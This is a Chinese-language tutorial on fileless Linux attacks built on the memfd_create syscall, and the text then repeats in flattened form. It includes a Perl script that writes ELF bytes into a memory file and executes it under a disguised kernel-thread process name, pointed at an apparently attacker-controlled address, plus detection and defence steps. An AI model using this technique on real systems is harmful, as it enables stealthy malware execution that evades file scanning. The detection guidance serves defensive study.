利用memfd_create实现无文件攻击
字数 1327 2025-08-19 12:40:52

利用memfd_create实现Linux无文件攻击技术详解

1. 无文件攻击概述

无文件(Fileless)攻击是一种不依赖磁盘文件植入的恶意代码执行技术,具有以下特点:

  • 隐蔽性强:不写入新文件到磁盘,也不修改已有文件,能绕过传统基于文件扫描的安全软件
  • 依赖系统工具:利用系统自带的调试工具、解释程序、编译器和程序库实现隐蔽执行
  • 临时性:攻击载荷仅存在于内存中,系统重启后自动消失,需要配合持久化机制

2. memfd_create系统调用详解

memfd_create是Linux内核提供的系统调用(自3.17版本引入),用于创建匿名内存文件描述符:

#include <sys/mman.h>
int memfd_create(const char *name, unsigned int flags);

参数说明

  • name:可选标识名称,显示在/proc/self/fd/中作为符号链接目标,前缀为"memfd:"
  • flags:控制文件描述符特性,常用标志:
    • MFD_CLOEXEC(0x0001U):执行时自动关闭文件描述符
    • MFD_ALLOW_SEALING:允许对文件描述符添加密封

特性

  • 创建的文件存在于RAM中,行为类似常规文件(可修改、截断、内存映射等)
  • 名称仅用于调试,不影响文件描述符行为,允许多个文件同名
  • 文件描述符在/proc/self/fd/中显示为符号链接形式

3. 无文件攻击实现流程

3.1 创建匿名内存文件

使用memfd_create创建内存文件描述符:

my $fd = syscall(319, $name, 1);  # 319是64位系统中memfd_create的系统调用号
if (-1 == $fd) {
    die "memfd_create: $!";
}

3.2 转换为文件句柄并配置

将文件描述符转换为Perl文件句柄并启用自动刷新:

open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);

3.3 写入ELF二进制数据

将恶意ELF文件内容写入内存文件:

print $FH pack q/H*/, q/7f454c4601010100000000000000000003000300010000005480040834000000/ 
    or die qq/write: $!/;
# 继续写入更多ELF数据...

3.4 执行内存中的ELF

通过文件描述符符号链接执行内存中的ELF:

exec {"/proc/
$$
/fd/$fd"} "[kworded/0:0]", "-addr", "攻击主机IP:8000" 
    or die "exec: $!";

3.5 清理资源

解除内存映射并关闭文件描述符:

munmap(...);
close($fd);

4. 完整攻击示例

#!/usr/bin/env perl
use warnings;
use strict;
$|=1;

my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
    die "memfd_create: $!";
}

open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);

print "Writing ELF binary to memory...";
# 写入ELF头部
print $FH pack q/H*/, q/7f454c4601010100000000000000000003000300010000005480040834000000/ 
    or die qq/write: $!/;
# 写入更多ELF节区数据...

# 执行内存中的ELF
exec {"/proc/
$$
/fd/$fd"} "[kworded/0:0]", "-addr", "192.168.1.100:8000" 
    or die "exec: $!";

5. 攻击检测方法

5.1 进程检查

检查/proc目录中可疑的memfd链接:

ls -alR /proc/*/exe 2>/dev/null | grep 'memfd:.*(deleted)'

5.2 关键文件检查

  • /proc/[pid]/exe:进程二进制文件符号链接
  • /proc/[pid]/fd/:进程打开的文件描述符
  • /proc/[pid]/maps:检查是否有"memfd:.*(deleted)"条目
  • /proc/[pid]/cmdline:检查可疑的命令行参数
  • /proc/[pid]/environ:检查可疑的环境变量

5.3 网络连接检查

检查可疑的网络连接,特别是与攻击者IP的通信:

netstat -antp
ss -antp
lsof -i

6. 防御措施

  1. 限制系统调用:通过seccomp限制非特权进程调用memfd_create
  2. 监控/proc目录:实时监控/proc目录下memfd相关活动
  3. 启用审计:配置auditd记录memfd_create系统调用
  4. 最小化工具集:移除不必要的调试工具和解释器
  5. 文件完整性监控:监控关键系统文件和配置变更
  6. 网络出口过滤:限制出站连接,特别是到可疑IP的连接

7. 总结

memfd_create提供的无文件执行能力为攻击者提供了高度隐蔽的攻击途径,安全团队需要:

  1. 了解无文件攻击的技术原理
  2. 掌握有效的检测方法
  3. 实施多层次的防御策略
  4. 定期进行安全审计和渗透测试
  5. 保持系统和安全工具的及时更新

通过综合运用技术防御和持续监控,可以有效降低无文件攻击带来的安全风险。

利用memfd_ create实现Linux无文件攻击技术详解 1. 无文件攻击概述 无文件(Fileless)攻击是一种不依赖磁盘文件植入的恶意代码执行技术,具有以下特点: 隐蔽性强 :不写入新文件到磁盘,也不修改已有文件,能绕过传统基于文件扫描的安全软件 依赖系统工具 :利用系统自带的调试工具、解释程序、编译器和程序库实现隐蔽执行 临时性 :攻击载荷仅存在于内存中,系统重启后自动消失,需要配合持久化机制 2. memfd_ create系统调用详解 memfd_create 是Linux内核提供的系统调用(自3.17版本引入),用于创建匿名内存文件描述符: 参数说明 name :可选标识名称,显示在 /proc/self/fd/ 中作为符号链接目标,前缀为"memfd:" flags :控制文件描述符特性,常用标志: MFD_CLOEXEC (0x0001U):执行时自动关闭文件描述符 MFD_ALLOW_SEALING :允许对文件描述符添加密封 特性 创建的文件存在于RAM中,行为类似常规文件(可修改、截断、内存映射等) 名称仅用于调试,不影响文件描述符行为,允许多个文件同名 文件描述符在 /proc/self/fd/ 中显示为符号链接形式 3. 无文件攻击实现流程 3.1 创建匿名内存文件 使用 memfd_create 创建内存文件描述符: 3.2 转换为文件句柄并配置 将文件描述符转换为Perl文件句柄并启用自动刷新: 3.3 写入ELF二进制数据 将恶意ELF文件内容写入内存文件: 3.4 执行内存中的ELF 通过文件描述符符号链接执行内存中的ELF: 3.5 清理资源 解除内存映射并关闭文件描述符: 4. 完整攻击示例 5. 攻击检测方法 5.1 进程检查 检查 /proc 目录中可疑的memfd链接: 5.2 关键文件检查 /proc/[pid]/exe :进程二进制文件符号链接 /proc/[pid]/fd/ :进程打开的文件描述符 /proc/[pid]/maps :检查是否有"memfd:.* (deleted)"条目 /proc/[pid]/cmdline :检查可疑的命令行参数 /proc/[pid]/environ :检查可疑的环境变量 5.3 网络连接检查 检查可疑的网络连接,特别是与攻击者IP的通信: 6. 防御措施 限制系统调用 :通过seccomp限制非特权进程调用memfd_ create 监控/proc目录 :实时监控/proc目录下memfd相关活动 启用审计 :配置auditd记录memfd_ create系统调用 最小化工具集 :移除不必要的调试工具和解释器 文件完整性监控 :监控关键系统文件和配置变更 网络出口过滤 :限制出站连接,特别是到可疑IP的连接 7. 总结 memfd_ create提供的无文件执行能力为攻击者提供了高度隐蔽的攻击途径,安全团队需要: 了解无文件攻击的技术原理 掌握有效的检测方法 实施多层次的防御策略 定期进行安全审计和渗透测试 保持系统和安全工具的及时更新 通过综合运用技术防御和持续监控,可以有效降低无文件攻击带来的安全风险。